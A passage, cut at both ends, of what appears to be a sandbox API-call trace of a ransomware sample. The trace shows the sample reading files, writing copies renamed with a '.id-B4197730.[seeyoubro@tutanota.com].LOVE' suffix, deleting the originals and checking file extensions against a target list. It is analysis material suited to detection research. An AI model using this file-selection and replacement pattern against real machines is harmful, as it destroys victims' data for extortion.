nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x3758, lpOverlapped=0x0) returned 1 [0195.886] WriteFile (in: hFile=0x2fc, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0x3760, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0x3760, lpOverlapped=0x0) returned 1 [0195.887] ReadFile (in: hFile=0x300, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x0, lpOverlapped=0x0) returned 1 [0195.887] WriteFile (in: hFile=0x2fc, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0xf8, lpOverlapped=0x0) returned 1 [0195.888] SetEndOfFile (hFile=0x2fc) returned 1 [0195.888] CloseHandle (hObject=0x2fc) returned 1 [0195.889] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.889] SetEndOfFile (hFile=0x300) returned 1 [0195.890] CloseHandle (hObject=0x300) returned 1 [0195.890] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0195.890] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll")) returned 1 [0195.891] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0195.891] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0195.891] lstrlenW (lpString=".doc") returned 4 [0195.891] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0195.891] lstrlenW (lpString=".docx") returned 5 [0195.891] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0195.891] lstrlenW (lpString=".pdf") returned 4 [0195.891] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0195.891] lstrlenW (lpString=".xls") returned 4 [0195.891] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0195.891] lstrlenW (lpString=".xlsx") returned 5 [0195.891] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0195.891] lstrlenW (lpString=".ppt") returned 4 [0195.891] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0195.891] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0195.891] lstrlenW (lpString=".zip") returned 4 [0195.891] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0195.891] lstrlenW (lpString=".rar") returned 4 [0195.891] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0195.891] lstrlenW (lpString=".bz2") returned 4 [0195.891] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0195.891] lstrlenW (lpString=".7z") returned 3 [0195.891] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0195.891] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0195.892] lstrlenW (lpString=".dbf") returned 4 [0195.892] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0195.892] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0195.892] lstrlenW (lpString=".1cd") returned 4 [0195.892] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0195.892] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0195.892] lstrlenW (lpString=".jpg") returned 4 [0195.892] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0195.892] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0195.892] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0195.892] lstrlenW (lpString=".doc") returned 4 [0195.892] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0195.892] lstrlenW (lpString=".docx") returned 5 [0195.892] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0195.892] lstrlenW (lpString=".pdf") returned 4 [0195.892] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0195.892] lstrlenW (lpString=".xls") returned 4 [0195.892] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0195.892] lstrlenW (lpString=".xlsx") returned 5 [0195.892] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0195.892] lstrlenW (lpString=".ppt") returned 4 [0195.892] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0195.892] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0195.892] lstrlenW (lpString=".zip") returned 4 [0195.892] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0195.892] lstrlenW (lpString=".rar") returned 4 [0195.892] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0195.892] lstrlenW (lpString=".bz2") returned 4 [0195.893] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0195.893] lstrlenW (lpString=".7z") returned 3 [0195.893] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0195.893] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0195.893] lstrlenW (lpString=".dbf") returned 4 [0195.893] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0195.893] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0195.893] lstrlenW (lpString=".1cd") returned 4 [0195.893] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0195.893] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0195.893] lstrlenW (lpString=".jpg") returned 4 [0195.893] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0195.893] lstrcmpiW (lpString1=".ico", lpString2=".LOVE") returned -1 [0195.893] lstrlenW (lpString="DisplayIcon.ico") returned 15 [0195.893] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0195.893] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x369ff14 | out: lpFileSize=0x369ff14*=88533) returned 1 [0195.893] CloseHandle (hObject=0x300) returned 1 [0195.893] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico")) returned 0x80 [0195.894] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0195.894] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0195.894] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.894] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.894] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0195.894] GetLastError () returned 0x0 [0195.894] ReadFile (in: hFile=0x300, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x159d5, lpOverlapped=0x0) returned 1 [0195.937] WriteFile (in: hFile=0x2fc, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0x159e0, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0x159e0, lpOverlapped=0x0) returned 1 [0195.940] ReadFile (in: hFile=0x300, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x0, lpOverlapped=0x0) returned 1 [0195.940] WriteFile (in: hFile=0x2fc, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0xf2, lpOverlapped=0x0) returned 1 [0195.940] SetEndOfFile (hFile=0x2fc) returned 1 [0195.940] CloseHandle (hObject=0x2fc) returned 1 [0195.942] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.942] SetEndOfFile (hFile=0x300) returned 1 [0195.943] CloseHandle (hObject=0x300) returned 1 [0195.943] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0195.943] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico")) returned 1 [0195.944] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0195.944] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0195.944] lstrlenW (lpString=".doc") returned 4 [0195.944] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0195.944] lstrlenW (lpString=".docx") returned 5 [0195.944] lstrcmpiW (lpString1=".docx", lpString2="n.ico") returned -1 [0195.944] lstrlenW (lpString=".pdf") returned 4 [0195.944] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0195.944] lstrlenW (lpString=".xls") returned 4 [0195.944] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0195.944] lstrlenW (lpString=".xlsx") returned 5 [0195.944] lstrcmpiW (lpString1=".xlsx", lpString2="n.ico") returned -1 [0195.944] lstrlenW (lpString=".ppt") returned 4 [0195.944] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0195.944] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0195.944] lstrlenW (lpString=".zip") returned 4 [0195.944] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0195.944] lstrlenW (lpString=".rar") returned 4 [0195.944] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0195.944] lstrlenW (lpString=".bz2") returned 4 [0195.944] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0195.944] lstrlenW (lpString=".7z") returned 3 [0195.945] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0195.945] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0195.945] lstrlenW (lpString=".dbf") returned 4 [0195.945] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0195.945] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0195.945] lstrlenW (lpString=".1cd") returned 4 [0195.945] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0195.945] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0195.945] lstrlenW (lpString=".jpg") returned 4 [0195.945] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0195.945] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0195.945] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0195.945] lstrlenW (lpString=".doc") returned 4 [0195.945] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0195.945] lstrlenW (lpString=".docx") returned 5 [0195.945] lstrcmpiW (lpString1=".docx", lpString2="n.ico") returned -1 [0195.945] lstrlenW (lpString=".pdf") returned 4 [0195.945] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0195.945] lstrlenW (lpString=".xls") returned 4 [0195.945] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0195.945] lstrlenW (lpString=".xlsx") returned 5 [0195.945] lstrcmpiW (lpString1=".xlsx", lpString2="n.ico") returned -1 [0195.945] lstrlenW (lpString=".ppt") returned 4 [0195.945] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0195.945] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0195.945] lstrlenW (lpString=".zip") returned 4 [0195.945] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0195.945] lstrlenW (lpString=".rar") returned 4 [0195.946] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0195.946] lstrlenW (lpString=".bz2") returned 4 [0195.946] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0195.946] lstrlenW (lpString=".7z") returned 3 [0195.946] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0195.946] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0195.946] lstrlenW (lpString=".dbf") returned 4 [0195.946] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0195.946] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0195.946] lstrlenW (lpString=".1cd") returned 4 [0195.946] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0195.946] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0195.946] lstrlenW (lpString=".jpg") returned 4 [0195.946] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0195.946] lstrcmpiW (lpString1=".ico", lpString2=".LOVE") returned -1 [0195.946] lstrlenW (lpString="Rotate2.ico") returned 11 [0195.946] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0195.946] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x369ff14 | out: lpFileSize=0x369ff14*=894) returned 1 [0195.946] CloseHandle (hObject=0x300) returned 1 [0195.947] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico")) returned 0x80 [0195.947] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0195.947] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0195.947] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.947] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.947] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0195.947] GetLastError () returned 0x0 [0195.947] ReadFile (in: hFile=0x300, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x37e, lpOverlapped=0x0) returned 1 [0195.986] WriteFile (in: hFile=0x2fc, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0x380, lpOverlapped=0x0) returned 1 [0195.987] ReadFile (in: hFile=0x300, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x0, lpOverlapped=0x0) returned 1 [0195.987] WriteFile (in: hFile=0x2fc, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0xea, lpOverlapped=0x0) returned 1 [0195.987] SetEndOfFile (hFile=0x2fc) returned 1 [0195.987] CloseHandle (hObject=0x2fc) returned 1 [0195.989] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.989] SetEndOfFile (hFile=0x300) returned 1 [0195.990] CloseHandle (hObject=0x300) returned 1 [0195.990] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0195.990] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico")) returned 1 [0195.990] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0195.990] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0195.990] lstrlenW (lpString=".doc") returned 4 [0195.990] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0195.991] lstrlenW (lpString=".docx") returned 5 [0195.991] lstrcmpiW (lpString1=".docx", lpString2="2.ico") returned -1 [0195.991] lstrlenW (lpString=".pdf") returned 4 [0195.991] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0195.991] lstrlenW (lpString=".xls") returned 4 [0195.991] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0195.991] lstrlenW (lpString=".xlsx") returned 5 [0195.991] lstrcmpiW (lpString1=".xlsx", lpString2="2.ico") returned -1 [0195.991] lstrlenW (lpString=".ppt") returned 4 [0195.991] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0195.991] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0195.991] lstrlenW (lpString=".zip") returned 4 [0195.991] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0195.991] lstrlenW (lpString=".rar") returned 4 [0195.991] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0195.991] lstrlenW (lpString=".bz2") returned 4 [0195.991] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0195.991] lstrlenW (lpString=".7z") returned 3 [0195.991] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0195.991] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0195.991] lstrlenW (lpString=".dbf") returned 4 [0195.991] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0195.991] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0195.991] lstrlenW (lpString=".1cd") returned 4 [0195.991] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0195.991] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0195.991] lstrlenW (lpString=".jpg") returned 4 [0195.991] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0195.991] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0195.992] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0195.992] lstrlenW (lpString=".doc") returned 4 [0195.992] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0195.992] lstrlenW (lpString=".docx") returned 5 [0195.992] lstrcmpiW (lpString1=".docx", lpString2="2.ico") returned -1 [0195.992] lstrlenW (lpString=".pdf") returned 4 [0195.992] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0195.992] lstrlenW (lpString=".xls") returned 4 [0195.992] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0195.992] lstrlenW (lpString=".xlsx") returned 5 [0195.992] lstrcmpiW (lpString1=".xlsx", lpString2="2.ico") returned -1 [0195.992] lstrlenW (lpString=".ppt") returned 4 [0195.992] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0195.992] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0195.992] lstrlenW (lpString=".zip") returned 4 [0195.992] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0195.992] lstrlenW (lpString=".rar") returned 4 [0195.992] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0195.992] lstrlenW (lpString=".bz2") returned 4 [0195.992] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0195.992] lstrlenW (lpString=".7z") returned 3 [0195.992] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0195.992] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0195.992] lstrlenW (lpString=".dbf") returned 4 [0195.992] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0195.992] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0195.992] lstrlenW (lpString=".1cd") returned 4 [0195.992] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0195.992] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0195.992] lstrlenW (lpString=".jpg") returned 4 [0195.992] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0195.993] lstrcmpiW (lpString1=".ico", lpString2=".LOVE") returned -1 [0195.993] lstrlenW (lpString="Rotate6.ico") returned 11 [0195.993] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0195.993] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x369ff14 | out: lpFileSize=0x369ff14*=894) returned 1 [0195.993] CloseHandle (hObject=0x300) returned 1 [0195.993] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico")) returned 0x80 [0195.993] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0195.993] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0195.994] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.994] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.994] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0195.994] GetLastError () returned 0x0 [0195.994] ReadFile (in: hFile=0x300, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x37e, lpOverlapped=0x0) returned 1 [0196.020] WriteFile (in: hFile=0x2fc, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0x380, lpOverlapped=0x0) returned 1 [0196.021] ReadFile (in: hFile=0x300, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x0, lpOverlapped=0x0) returned 1 [0196.021] WriteFile (in: hFile=0x2fc, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0xea, lpOverlapped=0x0) returned 1 [0196.021] SetEndOfFile (hFile=0x2fc) returned 1 [0196.021] CloseHandle (hObject=0x2fc) returned 1 [0196.022] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.022] SetEndOfFile (hFile=0x300) returned 1 [0196.022] CloseHandle (hObject=0x300) returned 1 [0196.023] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0196.023] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico")) returned 1 [0196.023] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0196.023] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0196.023] lstrlenW (lpString=".doc") returned 4 [0196.023] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0196.023] lstrlenW (lpString=".docx") returned 5 [0196.023] lstrcmpiW (lpString1=".docx", lpString2="6.ico") returned -1 [0196.023] lstrlenW (lpString=".pdf") returned 4 [0196.023] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0196.023] lstrlenW (lpString=".xls") returned 4 [0196.024] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0196.024] lstrlenW (lpString=".xlsx") returned 5 [0196.024] lstrcmpiW (lpString1=".xlsx", lpString2="6.ico") returned -1 [0196.024] lstrlenW (lpString=".ppt") returned 4 [0196.024] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0196.024] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0196.024] lstrlenW (lpString=".zip") returned 4 [0196.024] lstrcmpiW (lpString1=".zip", 